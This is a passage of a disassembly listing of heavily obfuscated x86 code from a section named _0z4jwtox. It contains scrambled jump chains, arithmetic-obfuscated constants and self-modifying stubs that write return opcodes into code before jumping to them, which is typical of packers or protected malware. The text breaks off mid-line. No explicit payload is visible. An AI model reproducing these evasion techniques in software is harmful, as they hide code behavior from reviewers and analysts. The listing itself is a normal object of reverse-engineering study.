jmp loc_749430 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F73B loc_750F9A: ; CODE XREF: sub_74F73B-58CFj ; _0z4jwtox:loc_7539E8j add edx, 0C05A78FFh xchg edx, [esp+30h+var_30] jmp loc_74E7E2 ; END OF FUNCTION CHUNK FOR sub_74F73B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_750FA8: ; CODE XREF: sub_7561AB:loc_75648Cj rol eax, 8 cmp esi, eax jmp loc_74AC92 ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E37 loc_750FB2: ; CODE XREF: sub_746E37+DBAEj sbb eax, 0CDBEE8CDh jmp loc_750B05 ; END OF FUNCTION CHUNK FOR sub_746E37 ; --------------------------------------------------------------------------- loc_750FBD: ; CODE XREF: _0z4jwtox:007479B3j not edx ; =============== S U B R O U T I N E ======================================= sub_750FBF proc near ; CODE XREF: _0z4jwtox:0074EAC2p xchg ecx, [esp+0] pop ecx lea eax, nullsub_252 push offset sub_748D47 jmp nullsub_295 sub_750FBF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749B76 loc_750FD3: ; CODE XREF: sub_749B76-32DAj pop edx lea eax, nullsub_1 mov byte ptr [eax], 0C3h jmp nullsub_1 ; END OF FUNCTION CHUNK FOR sub_749B76 ; --------------------------------------------------------------------------- xchg edi, [esp] mov edx, edi xchg eax, [esp] jmp loc_757220 ; --------------------------------------------------------------------------- cmp edx, ecx jmp loc_7548E0 ; --------------------------------------------------------------------------- pop edi jmp loc_757492 ; --------------------------------------------------------------------------- loc_750FFC: ; DATA XREF: sub_74A54Ao call sub_75100C jmp ds:off_41F0F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_751007: ; CODE XREF: sub_747C39+8F97j jmp loc_74DF09 ; END OF FUNCTION CHUNK FOR sub_747C39 ; =============== S U B R O U T I N E ======================================= sub_75100C proc near ; CODE XREF: _0z4jwtox:loc_74D012j ; sub_755964-7D1Cj ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074DC4D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074DF71 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00752CAC SIZE 0000001B BYTES ; FUNCTION CHUNK AT 007562CB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756B01 SIZE 00000005 BYTES pop edx jns loc_74DC4D mov eax, [esp+0] push edx jmp loc_7562CB sub_75100C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749980 loc_75101C: ; CODE XREF: sub_749980:loc_74840Ej jz loc_746C1D jmp loc_74CA37 ; END OF FUNCTION CHUNK FOR sub_749980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7463AE loc_751027: ; CODE XREF: sub_7463AE:loc_74FA55j jz loc_750C41 jmp loc_753434 ; END OF FUNCTION CHUNK FOR sub_7463AE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_751033: ; CODE XREF: sub_747C22+2CD2j jmp loc_74A6FD ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752C39 loc_751038: ; CODE XREF: sub_752C39-86B4j jmp loc_74895B ; END OF FUNCTION CHUNK FOR sub_752C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7558D0 loc_75103D: ; CODE XREF: sub_7558D0-7F6Ej pop ecx and ecx, 0AF9912BEh jnz loc_7472AF add edx, edi push ebp jmp loc_7472AF ; END OF FUNCTION CHUNK FOR sub_7558D0 ; --------------------------------------------------------------------------- loc_751052: ; CODE XREF: _0z4jwtox:0074C1F6j xchg ecx, [esp] call sub_74DAAF mov eax, 934299CDh call sub_746E93 call sub_74CCB1 ; START OF FUNCTION CHUNK FOR sub_750638 loc_751069: ; CODE XREF: sub_750638-2309j jmp loc_746083 ; END OF FUNCTION CHUNK FOR sub_750638 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74742A loc_75106E: ; CODE XREF: sub_74742A+405Dj jmp loc_756FD7 ; END OF FUNCTION CHUNK FOR sub_74742A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F73B loc_751073: ; CODE XREF: sub_74F73B-7749j jmp loc_7503FE ; END OF FUNCTION CHUNK FOR sub_74F73B ; =============== S U B R O U T I N E ======================================= sub_751078 proc near ; DATA XREF: sub_756123+5o ; FUNCTION CHUNK AT 0074A4EE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074EE4E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753514 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0075626F SIZE 00000005 BYTES pop ebp mov eax, dword ptr ds:loc_74F37B+1 or eax, eax jnz loc_74A4EE jmp loc_74EE4E sub_751078 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ja loc_75475A jmp sub_746F33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753116 loc_751097: ; CODE XREF: sub_753116-8CE8j and eax, 40D83FFAh xor eax, 0E962EC06h add eax, 56CA2783h xchg eax, [esp+0Ch+var_C] jmp loc_7512DF ; END OF FUNCTION CHUNK FOR sub_753116 ; --------------------------------------------------------------------------- push 0B8573150h jmp sub_749980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462C2 loc_7510BB: ; CODE XREF: sub_7462C2+8j ; sub_7462C2:loc_747D4Cj ... jmp loc_753221 ; --------------------------------------------------------------------------- loc_7510C0: ; CODE XREF: sub_7462C2+6526j ; sub_752D11-313j xchg eax, [esp-4+arg_0] mov ecx, eax pop eax xchg edi, [esp-8+arg_4] mov ebp, edi pop edi jmp nullsub_118 ; END OF FUNCTION CHUNK FOR sub_7462C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D424 loc_7510D1: ; CODE XREF: sub_74D424:loc_749364j pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_74D424 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BA04 loc_7510D4: ; CODE XREF: sub_74BA04+AA0Fj jmp loc_756A0F ; END OF FUNCTION CHUNK FOR sub_74BA04 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C3B3 loc_7510DA: ; CODE XREF: sub_74C3B3+6j jmp loc_74C970 ; END OF FUNCTION CHUNK FOR sub_74C3B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_7510DF: ; CODE XREF: sub_747C22-298Bj jmp nullsub_158 ; END OF FUNCTION CHUNK FOR sub_747C22 ; =============== S U B R O U T I N E ======================================= sub_7510E4 proc near ; CODE XREF: sub_74D424-3760p ; _0z4jwtox:loc_74E01Bp ; FUNCTION CHUNK AT 0074B951 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756A8E SIZE 00000014 BYTES push ebp jmp loc_74B951 sub_7510E4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_7510EA proc near ; CODE XREF: _0z4jwtox:0074501Dj ; sub_75275A-AD1Bp ; FUNCTION CHUNK AT 00747D6E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074B70E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074E6D8 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00753A23 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 007540F6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00756070 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx cmp dword ptr [ebp-4], 0 jnz loc_753A23 jmp loc_74B70E sub_7510EA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F78B loc_7510FD: ; CODE XREF: sub_74F78B:loc_74ACEBj jl loc_7482B4 ; END OF FUNCTION CHUNK FOR sub_74F78B ; START OF FUNCTION CHUNK FOR sub_7501AF loc_751103: ; CODE XREF: sub_7501AF-EE7j jmp loc_751FA4 ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- add ebp, edi cdq xchg esi, [edx] jmp loc_7482AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C38 loc_751112: ; CODE XREF: sub_755C38:loc_753C9Cj test edx, 40000h jmp loc_7502A6 ; END OF FUNCTION CHUNK FOR sub_755C38 ; --------------------------------------------------------------------------- push 3F7BED38h xchg edx, [esp] mov eax, edx pop edx rol eax, 14h jmp loc_749C52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_751130: ; CODE XREF: sub_74AAC1:loc_748DEBj xor ebx, 1A58DA08h or ebx, 6C0B96C6h rol ebx, 18h xor ebx, 97CEDC25h add eax, ebx call sub_747968 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_240. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_75114D: ; CODE XREF: _0z4jwtox:00745BF2j jmp loc_74FFB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C3B loc_751152: ; CODE XREF: sub_748C3B:loc_74C836j cmp edx, 0C4B85550h jmp loc_7489FC ; END OF FUNCTION CHUNK FOR sub_748C3B ; --------------------------------------------------------------------------- loc_75115D: ; CODE XREF: _0z4jwtox:0075362Bj popf adc ebx, edi jmp loc_75568B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FEAF loc_751165: ; CODE XREF: sub_74FEAF:loc_75321Cj and eax, 0A6795C56h add eax, 5FFBD84Ch call sub_74A045 ; END OF FUNCTION CHUNK FOR sub_74FEAF ; START OF FUNCTION CHUNK FOR sub_7504F1 loc_751176: ; CODE XREF: sub_7504F1-AFF9j jmp loc_745415 ; END OF FUNCTION CHUNK FOR sub_7504F1 ; --------------------------------------------------------------------------- loc_75117B: ; CODE XREF: _0z4jwtox:007500C0j jo loc_748B18 loc_751181: ; CODE XREF: _0z4jwtox:loc_746B24j cmp esi, 51A83174h jmp loc_74EF2C ; =============== S U B R O U T I N E ======================================= sub_75118C proc near ; CODE XREF: _0z4jwtox:00747A89j ; _0z4jwtox:00755BC4p var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0074BEAA SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074BFAE SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074DACA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0075119E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0075297B SIZE 0000001D BYTES xchg ebx, [esp+8+var_8] pop ebx lea eax, loc_74DACA mov byte ptr [eax], 0C3h jmp loc_74DACA sub_75118C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75118C loc_75119E: ; CODE XREF: sub_75118C:loc_74DACAj pop edx mov eax, [esp+0] jmp loc_74BFAE ; END OF FUNCTION CHUNK FOR sub_75118C ; =============== S U B R O U T I N E ======================================= sub_7511A7 proc near ; CODE XREF: sub_754DFF-2E60j push ebx sub_7511A7 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_754DFF loc_7511A8: ; CODE XREF: sub_754DFF:loc_74DC1Cj rol eax, 15h add eax, 0BA9ECEABh push ebp jmp loc_754936 ; END OF FUNCTION CHUNK FOR sub_754DFF ; --------------------------------------------------------------------------- loc_7511B7: ; CODE XREF: _0z4jwtox:0074A330j add eax, ebp add eax, 7F79FD72h mov eax, [eax] cmp byte ptr [eax], 0F1h jmp loc_75728C ; --------------------------------------------------------------------------- loc_7511C9: ; DATA XREF: sub_748743+1o push 0B83ED288h pop ecx sub ecx, 86C99445h add ecx, 0CEFF9C72h xchg ecx, [esp] jmp loc_74DACA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C733 loc_7511E4: ; CODE XREF: sub_74C733:loc_746DA6j push 0D2640071h xchg esi, [esp+0] mov edi, esi pop esi add edi, 1AF5A684h xor edi, 0E67EC5E1h jmp loc_746482 ; END OF FUNCTION CHUNK FOR sub_74C733 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D6B loc_751200: ; CODE XREF: sub_752D6B+3j push ecx cmp ds:dword_74B2AC, 0 push offset loc_74818A jmp nullsub_98 ; END OF FUNCTION CHUNK FOR sub_752D6B ; --------------------------------------------------------------------------- sbb ebp, ecx jmp loc_75537C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749306 loc_75121A: ; CODE XREF: sub_749306+3E07j jmp loc_753482 ; END OF FUNCTION CHUNK FOR sub_749306 ; =============== S U B R O U T I N E ======================================= sub_75121F proc near ; DATA XREF: sub_746128:loc_74F434o ; FUNCTION CHUNK AT 0074BBED SIZE 00000016 BYTES and al, 7 mov [ebp-0Bh], al xor eax, eax mov al, [ebp-0Bh] jmp loc_74BBED sub_75121F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_75122E: ; CODE XREF: sub_747AEC:loc_7515FFj ; sub_747AEC:loc_756153j mov eax, 0CF0182F6h call sub_746E93 sub eax, 0F304E64Eh rol eax, 1Dh sub eax, 0BAA89B88h push ecx jmp loc_74D5B9 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75051C loc_75124D: ; CODE XREF: sub_75051C:loc_74990Bj add ebx, 88938C6h xchg ebx, [esp+14h+var_14] jmp loc_756651 ; END OF FUNCTION CHUNK FOR sub_75051C ; --------------------------------------------------------------------------- loc_75125B: ; CODE XREF: _0z4jwtox:loc_752565j mov eax, [esp] push edx call sub_74DAAF mov eax, 4AC5B528h call sub_746E93 mov ds:dword_41F124, eax lea eax, nullsub_4 jmp loc_74E739 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7529BD loc_75127F: ; CODE XREF: sub_7529BD-A86j popf xchg eax, [esp+4+var_4] jmp loc_750095 ; END OF FUNCTION CHUNK FOR sub_7529BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_751288: ; CODE XREF: sub_746640+11284j xor edx, 563CA017h jnz loc_748E43 loc_751294: ; CODE XREF: _0z4jwtox:00753A35j sub esi, 0A344558Ch loc_75129A: ; CODE XREF: sub_746640:loc_756361j call sub_74ECEF ; END OF FUNCTION CHUNK FOR sub_746640 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D21E loc_7512A0: ; CODE XREF: sub_74D21E+Dj jmp loc_7568B8 ; END OF FUNCTION CHUNK FOR sub_74D21E ; --------------------------------------------------------------------------- loc_7512A5: ; CODE XREF: _0z4jwtox:0074BEC3j shl esi, 1Ah loc_7512A8: ; CODE XREF: _0z4jwtox:loc_74E08Aj mov eax, 10h call sub_7499A5 loc_7512B2: ; CODE XREF: _0z4jwtox:0074C95Ej jmp loc_752CCD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752957 loc_7512B7: ; CODE XREF: sub_752957:loc_74EF51j push ecx mov ecx, ebx xchg ecx, [esp+4+var_4] push 0CE07B52Eh pop ebx and ebx, 0FB2DE4CDh jmp loc_74B66A ; END OF FUNCTION CHUNK FOR sub_752957 ; --------------------------------------------------------------------------- loc_7512CE: ; CODE XREF: _0z4jwtox:0074C9C8j cmp ecx, 0C8B0283Dh jmp loc_74DCCC ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_7512DA: ; CODE XREF: _0z4jwtox:007498A1j jmp sub_74C2C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753116 loc_7512DF: ; CODE XREF: sub_753116-206Aj call sub_747B31 ; END OF FUNCTION CHUNK FOR sub_753116 ; START OF FUNCTION CHUNK FOR sub_751EFF loc_7512E4: ; CODE XREF: sub_751EFF-B044j jmp loc_74DE28 ; END OF FUNCTION CHUNK FOR sub_751EFF ; --------------------------------------------------------------------------- loc_7512E9: ; CODE XREF: _0z4jwtox:loc_74F49Cj mov esi, edx xchg esi, [esp] push 0B718ACA8h pop edx and edx, 0A98F3675h add edx, 5F39CC38h mov [edx], eax jmp loc_7576B3 ; =============== S U B R O U T I N E ======================================= sub_751307 proc near ; CODE XREF: sub_74CF82+Aj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074A77D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074AA33 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074ACCF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755469 SIZE 00000014 BYTES push ebp mov ebp, edx call sub_75043C loc_75130F: ; CODE XREF: sub_74A7D8+50D4j jo loc_74ACCF cmp ebp, 94D47AD9h jmp loc_74AA33 sub_751307 endp ; --------------------------------------------------------------------------- jmp ds:dword_41F11C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754C3F loc_751326: ; CODE XREF: sub_754C3F-8986j jmp loc_746756 ; END OF FUNCTION CHUNK FOR sub_754C3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746062 loc_75132B: ; CODE XREF: sub_746062+1Cj jmp sub_745BF7 ; END OF FUNCTION CHUNK FOR sub_746062 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_272. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- and byte ptr [ebx-0Bh], 0FFh call fword ptr [edx-75h] add al, 24h jmp loc_753A5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B091 loc_75133F: ; CODE XREF: sub_74B091+11j call sub_74BA29 mov ds:dword_7575B8, eax call sub_754FC6 mov edx, 0A2CD59D9h call sub_74BA29 mov ds:dword_751620, eax jmp locret_74BA23 ; END OF FUNCTION CHUNK FOR sub_74B091 ; --------------------------------------------------------------------------- loc_751362: ; CODE XREF: _0z4jwtox:00748AA7j mov byte ptr [eax], 0C3h jmp loc_755DDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_75136A: ; CODE XREF: sub_747C39+62D8j ; _0z4jwtox:loc_7572B8j jnz loc_751FC1 jmp loc_755449 ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- loc_751375: ; CODE XREF: _0z4jwtox:0074E9A2j jnz loc_74559C cmp edx, ebp jmp loc_745DCD ; --------------------------------------------------------------------------- jmp ds:off_41F0E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E37 loc_751388: ; CODE XREF: sub_746E37:loc_75009Fj ; _0z4jwtox:007549D1j ... js loc_7549D6 push offset sub_7571E0 jmp loc_75595A ; END OF FUNCTION CHUNK FOR sub_746E37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_751398: ; CODE XREF: sub_747736:loc_74EDEFj jnz loc_7494FE jmp loc_7493FE ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- loc_7513A3: ; DATA XREF: sub_74CF82:loc_749596o push eax lea eax, dword_746E88 push eax push eax mov edx, eax call sub_752E0F jmp loc_74E652 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75644F loc_7513B8: ; CODE XREF: sub_75644F+Bj and edx, 0F55ABCF0h rol edx, 8 sub edx, 0E9AD1ACh rol edx, 1Eh add edx, 0FF748B5Fh xchg edx, [esp+0] jmp nullsub_272 ; END OF FUNCTION CHUNK FOR sub_75644F ; --------------------------------------------------------------------------- loc_7513D8: ; CODE XREF: _0z4jwtox:007499ECj jl loc_74E46C add edx, 0C94CB4FEh ; =============== S U B R O U T I N E ======================================= sub_7513E4 proc near ; CODE XREF: sub_74CBCF:loc_749A1Bp arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00747842 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752DC0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 007546D1 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0075475F SIZE 0000001A BYTES xchg edi, [esp+0] pop edi pop edx jmp loc_747842 sub_7513E4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750C2D loc_7513EE: ; CODE XREF: sub_750C2D:loc_7495C9j sub esi, 0C34E4A06h or esi, 20890CB9h add esi, 0D3DB8E38h xchg esi, [esp-8+arg_4] jmp loc_747AC8 ; END OF FUNCTION CHUNK FOR sub_750C2D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_751409: ; CODE XREF: sub_74AAC1+79B8j jmp loc_74B4DC ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- loc_75140E: ; DATA XREF: sub_74658B+Co jns loc_74F117 sub al, 99h push 49E628D6h pop edx xor edx, 0C9C86985h jmp loc_747888 ; =============== S U B R O U T I N E ======================================= sub_751427 proc near ; CODE XREF: _0z4jwtox:0074DB13p ; _0z4jwtox:007551F9j xchg ecx, [esp+0] pop ecx mov byte ptr [eax], 0C3h jmp sub_74624E sub_751427 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74624E loc_751433: ; CODE XREF: sub_74624Ej call sub_7508E6 loc_751438: ; CODE XREF: sub_747B31+DC88j push eax retn ; END OF FUNCTION CHUNK FOR sub_74624E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_75143A proc near ; CODE XREF: sub_753116-8CFEp var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00746334 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 007471FF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00748D92 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0074915C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749AA3 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0074E9F5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00752F7F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00754751 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755A9A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00755BDF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755C06 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075603C SIZE 00000008 BYTES push ebp mov ebp, esp jmp loc_752F7F sub_75143A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514BF loc_751442: ; CODE XREF: sub_7514BF:loc_752E9Aj jz loc_7530DD mov dword ptr [ebp-8], 1 loc_75144F: ; CODE XREF: sub_748B29+3j ; _0z4jwtox:0074BE89j call sub_74A279 loc_751454: ; CODE XREF: sub_756826-1015Dj sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] push offset loc_747D3F jmp locret_747CF9 ; END OF FUNCTION CHUNK FOR sub_7514BF ; --------------------------------------------------------------------------- shr esi, 17h jmp sub_7503D8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_80. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748DCB loc_75146E: ; CODE XREF: sub_748DCB+C230j jmp loc_747D88 ; END OF FUNCTION CHUNK FOR sub_748DCB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_751473: ; CODE XREF: sub_74CBCF:loc_749D03j push 7B369124h pop ebx sub ebx, 0CAA801BFh cmp ebx, 0EEE7A934h jmp loc_7466FB ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7462C2 loc_75148A: ; CODE XREF: sub_7462C2+1A90j jns loc_7540F9 pop edx adc edx, 0F9A45587h adc ebp, edi jmp loc_7510BB ; END OF FUNCTION CHUNK FOR sub_7462C2 ; --------------------------------------------------------------------------- loc_75149E: ; CODE XREF: _0z4jwtox:0074CE15j push edi sbb ebp, esi loc_7514A1: ; CODE XREF: _0z4jwtox:loc_7485B3j call sub_74F53E push eax jmp loc_754BFA ; =============== S U B R O U T I N E ======================================= sub_7514AC proc near ; CODE XREF: sub_752D11-A3F3p ; _0z4jwtox:00757407j ; FUNCTION CHUNK AT 00747616 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00747B6E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074822E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 007495B9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749DE7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074B1EF SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0074E3A2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074E3AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007507F0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00752583 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00754064 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 007556E9 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 007565AD SIZE 00000011 BYTES xchg edx, [esp+0] pop edx add eax, ebp add eax, 85B839A2h mov eax, [eax] jmp loc_74822E sub_7514AC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_7514BF proc near ; CODE XREF: sub_745FE5:loc_74F00Bp ; _0z4jwtox:00756B49j ; FUNCTION CHUNK AT 00745964 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007490F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074ACAB SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00751442 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00752E8B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007530DD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00755D9F SIZE 00000005 BYTES xchg edi, [esp+0] pop edi jno loc_74ACC3 test byte ptr [ebp-8], 40h jmp loc_7490F1 sub_7514BF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_7514D2 proc near ; DATA XREF: sub_755F77:loc_750D19o add ecx, ebp add ecx, 32E8C825h call sub_755E40 sub_7514D2 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_74742A loc_7514DF: ; CODE XREF: sub_74742A+Dj jmp loc_74B481 ; END OF FUNCTION CHUNK FOR sub_74742A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C0A0 loc_7514E4: ; CODE XREF: sub_74C0A0:loc_752855j jz loc_74A746 jmp loc_749DAF ; END OF FUNCTION CHUNK FOR sub_74C0A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75043C loc_7514EF: ; CODE XREF: sub_75043C-B365j or ecx, ecx jz loc_748342 mov edx, [ebx+ecx] jmp loc_74D0F4 ; --------------------------------------------------------------------------- loc_7514FF: ; CODE XREF: sub_75043C:loc_7450BBj mov ebx, [eax+18h] jmp loc_74750A ; END OF FUNCTION CHUNK FOR sub_75043C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_77. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_751508: ; CODE XREF: _0z4jwtox:0074E324j jmp loc_752271 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749161 loc_75150D: ; CODE XREF: sub_749161+10B1j ; _0z4jwtox:0074A352j jmp loc_74D872 ; END OF FUNCTION CHUNK FOR sub_749161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_751512: ; CODE XREF: sub_74A7D8+9601j mov ebx, edi jmp loc_7539C0 ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; --------------------------------------------------------------------------- loc_751519: ; CODE XREF: _0z4jwtox:0075356Cj sub al, 99h push 7E566117h pop edx and edx, 0C9754046h or edx, 2D004D1h add edx, 3B5879C2h jmp loc_74A345 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_751538: ; CODE XREF: sub_7473D1:loc_74E976j pop ebp xchg esi, [esp-4+arg_0] mov ecx, esi pop esi retn ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748E45 loc_751540: ; CODE XREF: sub_748E45+DF0Ej jmp loc_74806B ; END OF FUNCTION CHUNK FOR sub_748E45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74985C loc_751545: ; CODE XREF: sub_74985C+C85Ej jmp loc_74ED8B ; END OF FUNCTION CHUNK FOR sub_74985C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F30D loc_75154A: ; CODE XREF: 